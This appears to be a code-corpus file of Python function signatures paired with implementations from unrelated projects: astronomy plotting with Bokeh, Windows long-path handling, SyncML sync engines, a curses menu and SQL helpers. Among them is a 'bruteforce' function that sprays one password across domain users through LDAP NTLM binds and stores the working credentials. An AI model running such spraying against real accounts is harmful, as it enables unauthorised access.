signature:
def hr_diagram ( cluster_name , output = None ) :
    """Create a : class : ` ~ bokeh . plotting . figure . Figure ` to create an H - R
 diagram using the cluster _ name ; then show it .
 Re"""

implementation:
cluster = get_hr_data ( cluster_name )
pf = hr_diagram_figure ( cluster )
show_with_bokeh_server ( pf )


signature:
def skyimage_figure ( cluster ) :
    """Given a cluster create a Bokeh plot figure using the
 cluster ' s image ."""

implementation:
pf_image = figure ( x_range = ( 0 , 1 ) , y_range = ( 0 , 1 ) , title = 'Image of {0}' . format ( cluster . name ) )
pf_image . image_url ( url = [ cluster . image_path ] , x = 0 , y = 0 , w = 1 , h = 1 , anchor = 'bottom_left' )
pf_image . toolbar_location = None
pf_image . axis . visible = False
return pf_image


signature:
def round_teff_luminosity ( cluster ) :
    """Returns rounded teff and luminosity lists ."""

implementation:
temps = [ round ( t , - 1 ) for t in teff ( cluster ) ]
lums = [ round ( l , 3 ) for l in luminosity ( cluster ) ]
return temps , lums


signature:
def hr_diagram_figure ( cluster ) :
    """Given a cluster create a Bokeh plot figure creating an
 H - R diagram ."""

implementation:
temps , lums = round_teff_luminosity ( cluster )
x , y = temps , lums
colors , color_mapper = hr_diagram_color_helper ( temps )
x_range = [ max ( x ) + max ( x ) * 0.05 , min ( x ) - min ( x ) * 0.05 ]
source = ColumnDataSource ( data = dict ( x = x , y = y , color = colors ) )
pf = figure ( y_axis_type = 'log' , x_range = x_range , name = 'hr' , tools = 'box_select,lasso_select,reset,hover' , title = 'H-R Diagram for {0}' . format ( cluster . name ) )
pf . select ( BoxSelectTool ) . select_every_mousemove = False
pf . select ( LassoSelectTool ) . select_every_mousemove = False
hover = pf . select ( HoverTool ) [ 0 ]
hover . tooltips = [ ( "Temperature (Kelvin)" , "@x{0}" ) , ( "Luminosity (solar units)" , "@y{0.00}" ) ]
_diagram ( source = source , plot_figure = pf , name = 'hr' , color = { 'field' : 'color' , 'transform' : color_mapper } , xaxis_label = 'Temperature (Kelvin)' , yaxis_label = 'Luminosity (solar units)' )
return pf


signature:
def calculate_diagram_ranges ( data ) :
    """Given a numpy array calculate what the ranges of the H - R
 diagram should be ."""

implementation:
data = round_arr_teff_luminosity ( data )
temps = data [ 'temp' ]
x_range = [ 1.05 * np . amax ( temps ) , .95 * np . amin ( temps ) ]
lums = data [ 'lum' ]
y_range = [ .50 * np . amin ( lums ) , 2 * np . amax ( lums ) ]
return ( x_range , y_range )


signature:
def hr_diagram_from_data ( data , x_range , y_range ) :
    """Given a numpy array create a Bokeh plot figure creating an
 H - R diagram ."""

implementation:
_ , color_mapper = hr_diagram_color_helper ( [ ] )
data_dict = { 'x' : list ( data [ 'temperature' ] ) , 'y' : list ( data [ 'luminosity' ] ) , 'color' : list ( data [ 'color' ] ) }
source = ColumnDataSource ( data = data_dict )
pf = figure ( y_axis_type = 'log' , x_range = x_range , y_range = y_range )
_diagram ( source = source , plot_figure = pf , color = { 'field' : 'color' , 'transform' : color_mapper } , xaxis_label = 'Temperature (Kelvin)' , yaxis_label = 'Luminosity (solar units)' )
show_with_bokeh_server ( pf )


signature:
def cluster_text_input ( cluster , title = None ) :
    """Create an : class : ` ~ bokeh . models . widgets . TextInput ` using
 the cluster . name as the default value and title .
 If no title is provided use , ' Type in the name of your cluster
 and press Enter / Return : ' ."""

implementation:
if not title :
    title = 'Type in the name of your cluster and press Enter/Return:'
return TextInput ( value = cluster . name , title = title )


signature:
def hr_diagram_selection ( cluster_name ) :
    """Given a cluster create two Bokeh plot based H - R diagrams .
 The Selection in the left H - R diagram will show up on the
 right one ."""

implementation:
cluster = get_hr_data ( cluster_name )
temps , lums = round_teff_luminosity ( cluster )
x , y = temps , lums
colors , color_mapper = hr_diagram_color_helper ( temps )
x_range = [ max ( x ) + max ( x ) * 0.05 , min ( x ) - min ( x ) * 0.05 ]
source = ColumnDataSource ( data = dict ( x = x , y = y , color = colors ) , name = 'hr' )
source_selected = ColumnDataSource ( data = dict ( x = [ ] , y = [ ] , color = [ ] ) , name = 'hr' )
pf = figure ( y_axis_type = 'log' , x_range = x_range , tools = 'lasso_select,reset' , title = 'H-R Diagram for {0}' . format ( cluster . name ) )
_diagram ( source = source , plot_figure = pf , name = 'hr' , color = { 'field' : 'color' , 'transform' : color_mapper } , xaxis_label = 'Temperature (Kelvin)' , yaxis_label = 'Luminosity (solar units)' )
pf_selected = figure ( y_axis_type = 'log' , y_range = pf . y_range , x_range = x_range , tools = 'reset' , title = 'H-R Diagram for {0}' . format ( cluster . name ) )
_diagram ( source = source_selected , plot_figure = pf_selected , name = 'hr' , color = { 'field' : 'color' , 'transform' : color_mapper } , xaxis_label = 'Temperature (Kelvin)' , yaxis_label = 'Luminosity (solar units)' )
source . callback = CustomJS ( args = dict ( source_selected = source_selected ) , code = """
        var inds = cb_obj.selected['1d'].indices;
        var d1 = cb_obj.data;
        var d2 = source_selected.data;
        console.log(inds);
        d2['x'] = []
        d2['y'] = []
        d2['color'] = []
        for (i = 0; i < inds.length; i++) {
            d2['x'].push(d1['x'][inds[i]])
            d2['y'].push(d1['y'][inds[i]])
            d2['color'].push(d1['color'][inds[i]])
        }
        source_selected.change.emit();
        """ )
show_with_bokeh_server ( row ( pf , pf_selected ) )


signature:
def _filter_cluster_data ( self ) :
    """Filter the cluster data catalog into the filtered _ data
 catalog , which is what is shown in the H - R diagram .
 Filter on the values of the sliders , as well as the lasso
 selection in the skyviewer ."""

implementation:
min_temp = self . temperature_range_slider . value [ 0 ]
max_temp = self . temperature_range_slider . value [ 1 ]
temp_mask = np . logical_and ( self . cluster . catalog [ 'temperature' ] >= min_temp , self . cluster . catalog [ 'temperature' ] <= max_temp )
min_lum = self . luminosity_range_slider . value [ 0 ]
max_lum = self . luminosity_range_slider . value [ 1 ]
lum_mask = np . logical_and ( self . cluster . catalog [ 'luminosity' ] >= min_lum , self . cluster . catalog [ 'luminosity' ] <= max_lum )
selected_mask = np . isin ( self . cluster . catalog [ 'id' ] , self . selection_ids )
filter_mask = temp_mask & lum_mask & selected_mask
self . filtered_data = self . cluster . catalog [ filter_mask ] . data
self . source . data = { 'id' : list ( self . filtered_data [ 'id' ] ) , 'temperature' : list ( self . filtered_data [ 'temperature' ] ) , 'luminosity' : list ( self . filtered_data [ 'luminosity' ] ) , 'color' : list ( self . filtered_data [ 'color' ] ) }
logging . debug ( "Selected data is now: %s" , self . filtered_data )


signature:
def modify_data ( data ) :
    """Creates a tempfile and starts the given editor , returns the data afterwards ."""

implementation:
with tempfile . NamedTemporaryFile ( 'w' ) as f :
    for entry in data :
        f . write ( json . dumps ( entry . to_dict ( include_meta = True ) , default = datetime_handler ) )
        f . write ( '\n' )
    f . flush ( )
    print_success ( "Starting editor" )
    subprocess . call ( [ 'nano' , '-' , f . name ] )
    with open ( f . name , 'r' ) as f :
        return f . readlines ( )


signature:
def modify_input ( ) :
    """This functions gives the user a way to change the data that is given as input ."""

implementation:
doc_mapper = DocMapper ( )
if doc_mapper . is_pipe :
    objects = [ obj for obj in doc_mapper . get_pipe ( ) ]
    modified = modify_data ( objects )
    for line in modified :
        obj = doc_mapper . line_to_object ( line )
        obj . save ( )
    print_success ( "Object(s) successfully changed" )
else :
    print_error ( "Please use this tool with pipes" )


signature:
def bruteforce ( users , domain , password , host ) :
    """Performs a bruteforce for the given users , password , domain on the given host ."""

implementation:
cs = CredentialSearch ( use_pipe = False )
print_notification ( "Connecting to {}" . format ( host ) )
s = Server ( host )
c = Connection ( s )
for user in users :
    if c . rebind ( user = "{}\\{}" . format ( domain , user . username ) , password = password , authentication = NTLM ) :
        print_success ( 'Success for: {}:{}' . format ( user . username , password ) )
        credential = cs . find_object ( user . username , password , domain = domain , host_ip = host )
        if not credential :
            credential = Credential ( username = user . username , secret = password , domain = domain , host_ip = host , type = "plaintext" , port = 389 )
        credential . add_tag ( tag )
        credential . save ( )
        # Add a tag to the user object , so we dont have to bruteforce it again .
        user . add_tag ( tag )
        user . save ( )
    else :
        print_error ( "Fail for: {}:{}" . format ( user . username , password ) )


signature:
def Adapter ( self , ** kw ) :
    '''. . TODO : : move this documentation into model / adapter . py ? . . .
 The Adapter constructor supports the following parameters :
 : param devID :
 sets the local adapter \' s device identifier . For servers , this
 should be the externally accessible URL that launches the SyncML
 transaction , and for clients this should be a unique ID , such as
 the IMEI number ( for mobile phones ) . If not specified , it will
 be defaulted to the ` devID ` of the ` devinfo ` object . If it
 cannot be loaded from the database or from the ` devinfo ` , then
 it must be provided before any synchronization can begin .
 : param name :
 sets the local adapter \' s device name - usually a human - friendly
 description of this SyncML \' s function .
 : param devinfo :
 sets the local adapter : class : ` pysyncml . devinfo . DeviceInfo ` . If
 not specified , it will be auto - loaded from the database . If it
 cannot be loaded from the database , then it must be provided
 before any synchronization can begin .
 : param peer :
 TODO : document . . .
 : param maxGuidSize :
 TODO : document . . .
 : param maxMsgSize :
 TODO : document . . .
 : param maxObjSize :
 TODO : document . . .
 : param conflictPolicy :
 sets the default conflict handling policy for this adapter ,
 and can be overriden on a per - store basis ( applies only when
 operating as the server role ) .'''

implementation:
try :
    ret = self . _model . Adapter . q ( isLocal = True ) . one ( )
    for k , v in kw . items ( ) :
        setattr ( ret , k , v )
except NoResultFound :
    ret = self . _model . Adapter ( ** kw )
    ret . isLocal = True
    self . _model . session . add ( ret )
    if ret . devID is not None :
        self . _model . session . flush ( )
ret . context = self
# todo : is this really the best place to do this ? . . .
ret . router = self . router or router . Router ( ret )
ret . protocol = self . protocol or protocol . Protocol ( ret )
ret . synchronizer = self . synchronizer or synchronizer . Synchronizer ( ret )
ret . codec = self . codec or 'xml'
if isinstance ( ret . codec , basestring ) :
    ret . codec = codec . Codec . factory ( ret . codec )
if ret . devID is not None :
    peers = ret . getKnownPeers ( )
    if len ( peers ) == 1 and peers [ 0 ] . url is not None :
        ret . _peer = peers [ 0 ]
return ret


signature:
def RemoteAdapter ( self , ** kw ) :
    '''. . TODO : : move this documentation into model / adapter . py ? . . .
 The RemoteAdapter constructor supports the following parameters :
 : param url :
 specifies the URL that this remote SyncML server can be reached
 at . The URL must be a fully - qualified URL .
 : param auth :
 set what kind of authentication scheme to use , which generally is
 one of the following values :
 * * None * * :
 indicates no authentication is required .
 * * pysyncml . NAMESPACE _ AUTH _ BASIC * * :
 specifies to use " Basic - Auth " authentication scheme .
 * * pysyncml . NAMESPACE _ AUTH _ MD5 * * :
 specifies to use MD5 " Digest - Auth " authentication scheme .
 NOTE : this may not be implemented yet . . .
 : param username :
 if the ` auth ` is not ` ` None ` ` , then the username to authenticate
 as must be provided via this parameter .
 : param password :
 if the ` auth ` is not ` ` None ` ` , then the password to authenticate
 with must be provided via this parameter .'''

implementation:
# TODO : is this really the right way ? . . .
ret = self . _model . Adapter ( isLocal = False , ** kw )
self . _model . session . add ( ret )
if ret . devID is not None :
    self . _model . session . flush ( )
return ret


signature:
def pprint_path ( path ) :
    """print information of a pathlib / os . DirEntry ( ) instance with all " is _ * " functions ."""

implementation:
print ( "\n*** %s" % path )
for attrname in sorted ( dir ( path ) ) :
    if attrname . startswith ( "is_" ) :
        value = getattr ( path , attrname )
        print ( "%20s: %s" % ( attrname , value ) )
print ( )


signature:
def utime ( self , * args , ** kwargs ) :
    """Set the access and modified times of the file specified by path ."""

implementation: os . utime ( self . extended_path , * args , ** kwargs )


signature:
def _from_parts ( cls , args , init = True ) :
    """Strip \\ ? \ prefix in init phase"""

implementation:
if args :
    args = list ( args )
    if isinstance ( args [ 0 ] , WindowsPath2 ) :
        args [ 0 ] = args [ 0 ] . path
    elif args [ 0 ] . startswith ( "\\\\?\\" ) :
        args [ 0 ] = args [ 0 ] [ 4 : ]
    args = tuple ( args )
return super ( WindowsPath2 , cls ) . _from_parts ( args , init )


signature:
def extended_path ( self ) :
    """Add prefix \\ ? \ to every absolute path , so that it ' s a " extended - length "
 path , that should be longer than 259 characters ( called : " MAX _ PATH " )
 see :
 https : / / msdn . microsoft . com / en - us / library / aa365247 . aspx # maxpath"""

implementation:
if self . is_absolute ( ) and not self . path . startswith ( "\\\\" ) :
    return "\\\\?\\%s" % self . path
return self . path


signature:
def path ( self ) :
    """Return the path always without the \\ ? \ prefix ."""

implementation:
path = super ( WindowsPath2 , self ) . path
if path . startswith ( "\\\\?\\" ) :
    return path [ 4 : ]
return path


signature:
def relative_to ( self , other ) :
    """Important here is , that both are always the same :
 both with \\ ? \ prefix or both without it ."""

implementation: return super ( WindowsPath2 , Path2 ( self . path ) ) . relative_to ( Path2 ( other ) . path )


signature:
def format ( ) :
    """Formats the output of another tool in the given way .
 Has default styles for ranges , hosts and services ."""

implementation:
argparser = argparse . ArgumentParser ( description = 'Formats a json object in a certain way. Use with pipes.' )
argparser . add_argument ( 'format' , metavar = 'format' , help = 'How to format the json for example "{address}:{port}".' , nargs = '?' )
arguments = argparser . parse_args ( )
service_style = "{address:15} {port:7} {protocol:5} {service:15} {state:10} {banner} {tags}"
host_style = "{address:15} {tags}"
ranges_style = "{range:18} {tags}"
users_style = "{username}"
if arguments . format :
    format_input ( arguments . format )
else :
    doc_mapper = DocMapper ( )
    if doc_mapper . is_pipe :
        for obj in doc_mapper . get_pipe ( ) :
            style = ''
            if isinstance ( obj , Range ) :
                style = ranges_style
            elif isinstance ( obj , Host ) :
                style = host_style
            elif isinstance ( obj , Service ) :
                style = service_style
            elif isinstance ( obj , User ) :
                style = users_style
            print_line ( fmt . format ( style , ** obj . to_dict ( include_meta = True ) ) )
    else :
        print_error ( "Please use this script with pipes" )


signature:
def print_line ( text ) :
    """Print the given line to stdout"""

implementation:
try :
    signal . signal ( signal . SIGPIPE , signal . SIG_DFL )
except ValueError :
    pass
try :
    sys . stdout . write ( text )
    if not text . endswith ( '\n' ) :
        sys . stdout . write ( '\n' )
    sys . stdout . flush ( )
except IOError :
    sys . exit ( 0 )


signature:
def draw_interface ( objects , callback , callback_text ) :
    """Draws a ncurses interface . Based on the given object list , every object should have a " string " key , this is whats displayed on the screen , callback is called with the selected object .
 Rest of the code is modified from :
 https : / / stackoverflow . com / a / 30834868"""

implementation:
screen = curses . initscr ( )
height , width = screen . getmaxyx ( )
curses . noecho ( )
curses . cbreak ( )
curses . start_color ( )
screen . keypad ( 1 )
curses . init_pair ( 1 , curses . COLOR_BLACK , curses . COLOR_CYAN )
highlightText = curses . color_pair ( 1 )
normalText = curses . A_NORMAL
screen . border ( 0 )
curses . curs_set ( 0 )
max_row = height - 15
# max number of rows
box = curses . newwin ( max_row + 2 , int ( width - 2 ) , 1 , 1 )
box . box ( )
fmt = PartialFormatter ( )
row_num = len ( objects )
pages = int ( ceil ( row_num / max_row ) )
position = 1
page = 1
for i in range ( 1 , max_row + 1 ) :
    if row_num == 0 :
        box . addstr ( 1 , 1 , "There aren't strings" , highlightText )
    else :
        if ( i == position ) :
            box . addstr ( i , 2 , str ( i ) + " - " + objects [ i - 1 ] [ 'string' ] , highlightText )
        else :
            box . addstr ( i , 2 , str ( i ) + " - " + objects [ i - 1 ] [ 'string' ] , normalText )
        if i == row_num :
            break
screen . refresh ( )
box . refresh ( )
x = screen . getch ( )
while x != 27 :
    if x == curses . KEY_DOWN :
        if page == 1 :
            if position < i :
                position = position + 1
            else :
                if pages > 1 :
                    page = page + 1
                    position = 1 + ( max_row * ( page - 1 ) )
        elif page == pages :
            if position < row_num :
                position = position + 1
        else :
            if position < max_row + ( max_row * ( page - 1 ) ) :
                position = position + 1
            else :
                page = page + 1
                position = 1 + ( max_row * ( page - 1 ) )
    if x == curses . KEY_UP :
        if page == 1 :
            if position > 1 :
                position = position - 1
        else :
            if position > ( 1 + ( max_row * ( page - 1 ) ) ) :
                position = position - 1
            else :
                page = page - 1
                position = max_row + ( max_row * ( page - 1 ) )
    screen . erase ( )
    if x == ord ( "\n" ) and row_num != 0 :
        screen . erase ( )
        screen . border ( 0 )
        service = objects [ position - 1 ]
        text = fmt . format ( callback_text , ** service )
        screen . addstr ( max_row + 4 , 3 , text )
        text = callback ( service )
        count = 0
        for line in text :
            screen . addstr ( max_row + 5 + count , 3 , line )
            count += 1
    box . erase ( )
    screen . border ( 0 )
    box . border ( 0 )
    for i in range ( 1 + ( max_row * ( page - 1 ) ) , max_row + 1 + ( max_row * ( page - 1 ) ) ) :
        if row_num == 0 :
            box . addstr ( 1 , 1 , "There aren't strings" , highlightText )
        else :
            if ( i + ( max_row * ( page - 1 ) ) == position + ( max_row * ( page - 1 ) ) ) :
                box . addstr ( i - ( max_row * ( page - 1 ) ) , 2 , str ( i ) + " - " + objects [ i - 1 ] [ 'string' ] , highlightText )
            else :
                box . addstr ( i - ( max_row * ( page - 1 ) ) , 2 , str ( i ) + " - " + objects [ i - 1 ] [ 'string' ] , normalText )
            if i == row_num :
                break
    screen . refresh ( )
    box . refresh ( )
    x = screen . getch ( )
curses . endwin ( )
exit ( )


signature:
def get_own_ip ( ) :
    """Gets the IP from the inet interfaces ."""

implementation:
own_ip = None
interfaces = psutil . net_if_addrs ( )
for _ , details in interfaces . items ( ) :
    for detail in details :
        if detail . family == socket . AF_INET :
            ip_address = ipaddress . ip_address ( detail . address )
            if not ( ip_address . is_link_local or ip_address . is_loopback ) :
                own_ip = str ( ip_address )
                break
return own_ip


signature:
def pprint ( arr , columns = ( 'temperature' , 'luminosity' ) , names = ( 'Temperature (Kelvin)' , 'Luminosity (solar units)' ) , max_rows = 32 , precision = 2 ) :
    """Create a pandas DataFrame from a numpy ndarray .
 By default use temp and lum with max rows of 32 and precision of 2.
 arr - An numpy . ndarray .
 columns - The columns to include in the pandas DataFrame . Defaults to
 temperature and luminosity .
 names - The column names for the pandas DataFrame . Defaults to
 Temperature and Luminosity .
 max _ rows - If max _ rows is an integer then set the pandas
 display . max _ rows option to that value . If max _ rows
 is True then set display . max _ rows option to 1000.
 precision - An integer to set the pandas precision option ."""

implementation:
if max_rows is True :
    pd . set_option ( 'display.max_rows' , 1000 )
elif type ( max_rows ) is int :
    pd . set_option ( 'display.max_rows' , max_rows )
pd . set_option ( 'precision' , precision )
df = pd . DataFrame ( arr . flatten ( ) , index = arr [ 'id' ] . flatten ( ) , columns = columns )
df . columns = names
return df . style . format ( { names [ 0 ] : '{:.0f}' , names [ 1 ] : '{:.2f}' } )


signature:
def strip_labels ( filename ) :
    """Strips labels ."""

implementation:
labels = [ ]
with open ( filename ) as f , open ( 'processed_labels.txt' , 'w' ) as f1 :
    for l in f :
        if l . startswith ( '#' ) :
            next
        l = l . replace ( " ." , '' )
        l = l . replace ( ">\tskos:prefLabel\t" , ' ' )
        l = l . replace ( "<" , '' )
        l = l . replace ( ">\trdfs:label\t" , ' ' )
        f1 . write ( l )


signature:
def remove_namespace ( doc , namespace ) :
    '''Remove namespace in the passed document in place .'''

implementation:
ns = u'{%s}' % namespace
nsl = len ( ns )
for elem in doc . getiterator ( ) :
    if elem . tag . startswith ( ns ) :
        elem . tag = elem . tag [ nsl : ]
        elem . attrib [ 'oxmlns' ] = namespace


signature:
def resolve ( self , uri ) :
    """Resolve a Resource identified by URI
 : param uri : The URI of the resource to be resolved
 : type uri : str
 : return : the contents of the resource as a string
 : rtype : str"""

implementation:
for r in self . __retrievers__ :
    if r . match ( uri ) :
        return r
raise UnresolvableURIError ( )


signature:
def read ( self , uri ) :
    """Retrieve the contents of the resource
 : param uri : the URI of the resource to be retrieved
 : type uri : str
 : return : the contents of the resource
 : rtype : str"""

implementation:
req = request ( "GET" , uri )
return req . content , req . headers [ 'Content-Type' ]


signature:
def match ( self , uri ) :
    """Check to see if this URI is retrievable by this Retriever implementation
 : param uri : the URI of the resource to be retrieved
 : type uri : str
 : return : True if it can be , False if not
 : rtype : bool"""

implementation:
absolute_uri = self . __absolute__ ( uri )
return absolute_uri . startswith ( self . __path__ ) and op . exists ( absolute_uri )


implementation:
uri = self . __absolute__ ( uri )
mime , _ = guess_type ( uri )
if "image" in mime :
    return send_file ( uri ) , mime
else :
    with open ( uri , "r" ) as f :
        file = f . read ( )
return file , mime


implementation: return self . __resolver__ . getTextualNode ( uri ) . export ( Mimetypes . XML . TEI ) , "text/xml"


signature:
def hook ( name ) :
    '''Decorator used to tag a method that should be used as a hook for the
 specified ` name ` hook type .'''

implementation:
def hookTarget ( wrapped ) :
    if not hasattr ( wrapped , '__hook__' ) :
        wrapped . __hook__ = [ name ]
    else :
        wrapped . __hook__ . append ( name )
    return wrapped
return hookTarget


signature:
def addHook ( self , name , callable ) :
    '''Subscribes ` callable ` to listen to events of ` name ` type . The
 parameters passed to ` callable ` are dependent on the specific
 event being triggered .'''

implementation:
if name not in self . _hooks :
    self . _hooks [ name ] = [ ]
self . _hooks [ name ] . append ( callable )


signature:
def _makeAdapter ( self ) :
    '''Creates a tuple of ( Context , Adapter ) based on the options
 specified by ` self . options ` . The Context is the pysyncml . Context created for
 the storage location specified in ` self . options ` , and the Adapter is a newly
 created Adapter if a previously created one was not found .'''

implementation:
self . _callHooks ( 'adapter.create.init' )
# create a new pysyncml . Context . the main function that this provides is
# to give the Adapter a storage engine to store state information across
# synchronizations .
context = pysyncml . Context ( storage = 'sqlite:///%ssyncml.db' % ( self . dataDir , ) , owner = None , autoCommit = True )
self . _callHooks ( 'adapter.create.context' , context )
# create an Adapter from the current context . this will either create
# a new adapter , or load the current local adapter for the specified
# context storage location . if it is new , then lots of required
# information ( such as device info ) will not be set , so we need to
# check that and specify it if missing .
adapter = context . Adapter ( )
if hasattr ( self , 'serverConf' ) and self . serverConf . policy is not None :
    adapter . conflictPolicy = self . serverConf . policy
if self . options . name is not None or self . appDisplay is not None :
    adapter . name = self . options . name or self . appDisplay
# TODO : stop ignoring ` ` self . options . remoteUri ` ` . . . ( the router must first support
# manual routes . . . )
# if self . options . remoteUri is not None :
# adapter . router . addRoute ( self . agent . uri , self . options . remoteUri )
if adapter . devinfo is None :
    log . info ( 'adapter has no device info - registering new device' )
else :
    if self . options . devid is not None and self . options . devid != adapter . devinfo . devID :
        log . info ( 'adapter has different device ID - overwriting with new device info' )
        adapter . devinfo = None
if adapter . devinfo is None : # setup some information about the local device , most importantly the
# device ID , which the remote peer will use to uniquely identify this peer
    devinfoParams = dict ( devID = self . options . devid or self . defaultDevID , devType = pysyncml . DEVTYPE_SERVER if self . options . server else pysyncml . DEVTYPE_WORKSTATION , manufacturerName = 'pysyncml' , modelName = self . appLabel , softwareVersion = pysyncml . version , hierarchicalSync = self . agent . hierarchicalSync if self . agent is not None else False , )
    if self . devinfoParams is not None :
        devinfoParams . update ( self . devinfoParams )
    adapter . devinfo = context . DeviceInfo ( ** devinfoParams )
self . _callHooks ( 'adapter.create.adapter' , context , adapter )
if not self . options . server : # servers don ' t have a fixed peer ; i . e . the SyncML message itself
# defines which peer is connecting .
    if adapter . peer is None :
        if self . options . remote is None :
            self . options . remote = raw_input ( 'SyncML remote URL: ' )
            if self . options . username is None :
                self . options . username = raw_input ( 'SyncML remote username (leave empty if none): ' )
                if len ( self . options . username ) <= 0 :
                    self . options . username = None
        log . info ( 'adapter has no remote info - registering new remote adapter' )
    else :
        if self . options . remote is not None :
            if self . options . remote != adapter . peer . url or self . options . username != adapter . peer . username or self . options . password != adapter . peer . password : # or self . options . password is not None :
                log . info ( 'adapter has invalid or rejected remote info - overwriting with new remote info' )
                adapter . peer = None
    if adapter . peer is None :
        auth = None
        if self . options . username is not None :
            auth = pysyncml . NAMESPACE_AUTH_BASIC
            if self . options . password is None :
                self . options . password = getpass . getpass ( 'SyncML remote password: ' )
        # setup the remote connection parameters , if not already stored in
        # the adapter sync tables or the URL has changed .
        adapter . peer = context . RemoteAdapter ( url = self . options . remote , auth = auth , username = self . options . username , password = self . options . password , )
    self . _callHooks ( 'adapter.create.peer' , context , adapter , adapter . peer )
# add a datastore attached to the URI " note " . the actual value of
# the URI is irrelevant - it is only an identifier for this item
# synchronization channel . it must be unique within this adapter
# and must stay consistent across synchronizations .
# TODO : this check should be made redundant . . . ( ie . once the
# implementation of Store . merge ( ) is fixed this will
# become a single " addStore ( ) " call without the check first ) .
uri = self . storeParams . get ( 'uri' , self . appLabel )
if uri in adapter . stores :
    store = adapter . stores [ uri ]
    store . agent = self . agent
else :
    storeParams = dict ( uri = uri , displayName = self . options . name or self . appDisplay , agent = self . agent , # TODO : adding this for funambol - compatibility . . .
    maxObjSize = None )
    if self . storeParams is not None :
        storeParams . update ( self . storeParams )
    store = adapter . addStore ( context . Store ( ** storeParams ) )
self . _callHooks ( 'adapter.create.store' , context , adapter , store )
if self . options . local :
    def locprint ( msg ) :
        print msg
else :
    locprint = log . info
def showChanges ( changes , prefix ) :
    for c in changes :
        if c . state != pysyncml . ITEM_DELETED :
            item = self . agent . getItem ( c . itemID )
        else :
            item = 'Item ID %s' % ( c . itemID , )
        locprint ( '%s  - %s: %s' % ( prefix , item , pysyncml . state2string ( c . state ) ) )
if self . options . server :
    peers = adapter . getKnownPeers ( )
    if len ( peers ) > 0 :
        locprint ( 'Pending changes to propagate:' )
    else :
        locprint ( 'No pending changes to propagate (no peers yet)' )
    for peer in peers :
        for puri , pstore in peer . stores . items ( ) :
            if pstore . binding is None or pstore . binding . uri != store . uri :
                continue
            changes = list ( pstore . getRegisteredChanges ( ) )
            if len ( changes ) <= 0 :
                locprint ( '  Registered to peer "%s" URI "%s": (none)' % ( peer . devID , puri ) )
            else :
                locprint ( '  Registered to peer "%s" URI "%s":' % ( peer . devID , puri ) )
            showChanges ( changes , '  ' )
else :
    if store . peer is None :
        locprint ( 'No pending local changes (not associated yet).' )
    else :
        changes = list ( store . peer . getRegisteredChanges ( ) )
        if len ( changes ) <= 0 :
            locprint ( 'No pending local changes to synchronize.' )
        else :
            locprint ( 'Pending local changes:' )
        showChanges ( changes , '' )
self . _callHooks ( 'adapter.create.term' , context , adapter )
return ( context , adapter )


signature:
def configure ( self , argv = None ) :
    '''Configures this engine based on the options array passed into
 ` argv ` . If ` argv ` is ` ` None ` ` , then ` ` sys . argv ` ` is used instead .
 During configuration , the command line options are merged with
 previously stored values . Then the logging subsystem and the
 database model are initialized , and all storable settings are
 serialized to configurations files .'''

implementation:
self . _setupOptions ( )
self . _parseOptions ( argv )
self . _setupLogging ( )
self . _setupModel ( )
self . dbsession . commit ( )
return self


signature:
def run ( self , stdout = sys . stdout , stderr = sys . stderr ) :
    '''Runs this SyncEngine by executing one of the following functions
 ( as controlled by command - line options or stored parameters ) :
 * Display local pending changes .
 * Describe local configuration .
 * Run an HTTP server and engage server - side mode .
 * Connect to a remote SyncML peer and engage client - side mode .
 NOTE : when running in the first two modes , all database interactions
 are rolled back in order to keep the SyncEngine idempotent .'''

implementation:
if self . options . local or self . options . describe :
    context , adapter = self . _makeAdapter ( )
    if self . options . describe :
        self . describe ( stdout )
        adapter . describe ( stdout )
    self . dbsession . rollback ( )
    return 0
if self . options . server :
    return self . _runServer ( stdout , stderr )
return self . _runClient ( stdout , stderr )


signature:
def _assemble_with_columns ( self , sql_str , columns , * args , ** kwargs ) :
    """Format a select statement with specific columns
 : sql _ str : An SQL string template
 : columns : The columns to be selected and put into { 0}
 : * args : Arguments to use as query parameters .
 : returns : Psycopg2 compiled query"""

implementation:
# Handle any aliased columns we get ( e . g . table _ alias . column )
qcols = [ ]
for col in columns :
    if '.' in col : # Explodeded it
        wlist = col . split ( '.' )
        # Reassemble into string and drop it into the list
        qcols . append ( sql . SQL ( '.' ) . join ( [ sql . Identifier ( x ) for x in wlist ] ) )
    else :
        qcols . append ( sql . Identifier ( col ) )
# sql . SQL ( ' , ' ) . join ( [ sql . Identifier ( x ) for x in columns ] ) ,
query_string = sql . SQL ( sql_str ) . format ( sql . SQL ( ', ' ) . join ( qcols ) , * [ sql . Literal ( a ) for a in args ] )
return query_string


signature:
def _assemble_select ( self , sql_str , columns , * args , ** kwargs ) :
    """Alias for _ assemble _ with _ columns"""

implementation:
warnings . warn ( "_assemble_select has been depreciated for _assemble_with_columns. It will be removed in a future version." , DeprecationWarning )
return self . _assemble_with_columns ( sql_str , columns , * args , ** kwargs )


signature:
def _assemble_simple ( self , sql_str , * args , ** kwargs ) :
    """Format a select statement with specific columns
 : sql _ str : An SQL string template
 : * args : Arguments to use as query parameters .
 : returns : Psycopg2 compiled query"""

implementation:
query_string = sql . SQL ( sql_str ) . format ( * [ sql . Literal ( a ) for a in args ] )
return query_string


signature:
def _execute ( self , query , commit = False , working_columns = None ) :
    """Execute a query with provided parameters
 Parameters
 : query : SQL string with parameter placeholders
 : commit : If True , the query will commit
 : returns : List of rows"""

implementation:
log . debug ( "RawlBase._execute()" )
result = [ ]
if working_columns is None :
    working_columns = self . columns
with RawlConnection ( self . dsn ) as conn :
    query_id = random . randrange ( 9999 )
    curs = conn . cursor ( )
    try :
        log . debug ( "Executing(%s): %s" % ( query_id , query . as_string ( curs ) ) )
    except :
        log . exception ( "LOGGING EXCEPTION LOL" )
    curs . execute ( query )
    log . debug ( "Executed" )
    if commit == True :
        log . debug ( "COMMIT(%s)" % query_id )
        conn . commit ( )
    log . debug ( "curs.rowcount: %s" % curs . rowcount )
    if curs . rowcount > 0 : # result = curs . fetchall ( )
    # Process the results into a dict and stuff it in a RawlResult
    # object . Then append that object to result
        result_rows = curs . fetchall ( )
        for row in result_rows :
            i = 0
            row_dict = { }
            for col in working_columns :
                try : # log . debug ( " row _ dict [ % s ] = row [ % s ] which is % s " % ( col , i , row [ i ] ) )
                # For aliased columns , we need to get rid of the dot
                    col = col . replace ( '.' , '_' )
                    row_dict [ col ] = row [ i ]
                except IndexError :
                    pass
                i += 1
            log . debug ( "Appending dict to result: %s" % row_dict )
            rr = RawlResult ( working_columns , row_dict )
            result . append ( rr )
    curs . close ( )
return result


signature:
def process_columns ( self , columns ) :
    """Handle provided columns and if necessary , convert columns to a list for
 internal strage .
 : columns : A sequence of columns for the table . Can be list , comma
